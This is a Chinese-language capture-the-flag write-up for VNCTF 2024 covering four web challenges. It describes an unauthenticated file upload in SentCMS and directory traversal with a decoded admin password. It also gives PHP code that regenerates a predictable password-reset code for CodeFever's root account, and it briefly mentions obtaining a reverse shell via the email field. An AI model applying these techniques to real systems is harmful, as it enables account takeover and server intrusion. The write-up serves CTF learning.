Checkin
打转块小游戏奥,直接F12找game.js,里面有这么几行
很明显把中间两行放在控制台打出来就好了,
VNCTF{W31c0m3_t0_VNCTF_2024_g@od_J0B!!!!}
TrySent
thinkphp Sentcms去网上找相关漏洞,找到这么一篇文章:
https://blog.hanayuzu.top/articles/37dacab4
是无需登录的任意文件上传漏洞,在/admin/upload/upload页面抓包后,修改包为文章的内容,然后上传,进入
这里面,就发现该页面变成phpinfo了,
vnctf{6f2f29dd-934f-4490-9054-6a6f11892a86}
CutePath
这道题是目录穿越,在url里加上/#/../即可到上一目录,
第二个文件明显是base64加密,拿去解密后,得到管理员密码,admin:gdgm.edu.cn@M1n9K1n9P@as
登录后继续穿越,/#/../../..//flag/flag在这个文件夹下找到flag.txt,但是我们没法下载,也打不开他,我们需要把他移动到网站根目录才能看见,
这里修改flag.txt名字为
../../../home/ming/share_main/flag.txt
这样就可以在网站根目录下找到flag.txt,然后下载下来拿到flag。
VNCTF{564e406840636b3156315f6764676d}
codefever_again
这道题是需要在网上找源码的,我是运气好做出来的。
https://or4ngesec.github.io/post/xhlj-writeup-by-or4nge/#real-world-git
忘记密码的逻辑中,生成的验证码只跟邮箱和时间戳有关系,没有引入随机数,本地跑一下就能跑出来,然后利用这个验证码重置root@codefever.cn的密码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| <?php
namespace service\Utility;
define('TOTP_SALT', 'codefever-salt');
class TOTP {
const SALT = 'codefever_salt'; const TOTP_REFRESH_INTERVAL = 30; const TOTP_CHECK_WINDOW_MIN = -10; const TOTP_CHECK_WINDOW_MAX = 10; const PASSWORD_LENGTH = 6;
static private function hashInput (string $input) { $salt = self::SALT; if (TOTP_SALT) { $salt = TOTP_SALT; }
$input = $input ? $input : self::SALT;
return hash('sha256', md5($input) . md5($salt), FALSE); }
static private function genTotp (string $hashedInput, int $timestamp) { $sequence = floor($timestamp / 30); $code = hash_hmac('sha256', $hashedInput . md5($sequence), md5($sequence), TRUE);
$finalValue = 0; $index = 0;
do { $finalValue += ord($code[$index]); $finalValue = $finalValue << 2; $index++; } while (isset($code[$index]));
return $finalValue; }
static private function trimTotp (int $sourceTotp) { $trimedTotp = $sourceTotp % pow(10, self::PASSWORD_LENGTH); $format = "%'.0". self::PASSWORD_LENGTH ."u"; return sprintf($format, abs($trimedTotp)); }
static function generate(string $input) { return self::trimTotp(self::genTotp(self::hashInput($input), time())); }
static function check(string $input, string $code) { $hashedInput = self::hashInput($input); $currentTime = time(); for ( $windowIndex = self::TOTP_CHECK_WINDOW_MIN; $windowIndex <= self::TOTP_CHECK_WINDOW_MAX; $windowIndex++ ) { if ( $code === self::trimTotp( self::genTotp( $hashedInput, $currentTime + ($windowIndex * self::TOTP_REFRESH_INTERVAL) ) ) ) { return TRUE; } }
return FALSE; } } $email = 'root@codefever.cn'; echo TOTP::generate($email);
|
重置密码后,就可以以管理员的身份登录进去,
root@codefever.cn这是管理员账户。登录进去后
把生成的密码记下来。然后登录
修改邮箱来反弹shell,保存后服务器开启监听,然后进入主界面,拿到flag
VNCTF{C0de_F3eve!_i3nt_so_H4rd!ri9ht?}
剩下的题做不来了,还是挺难的QWQ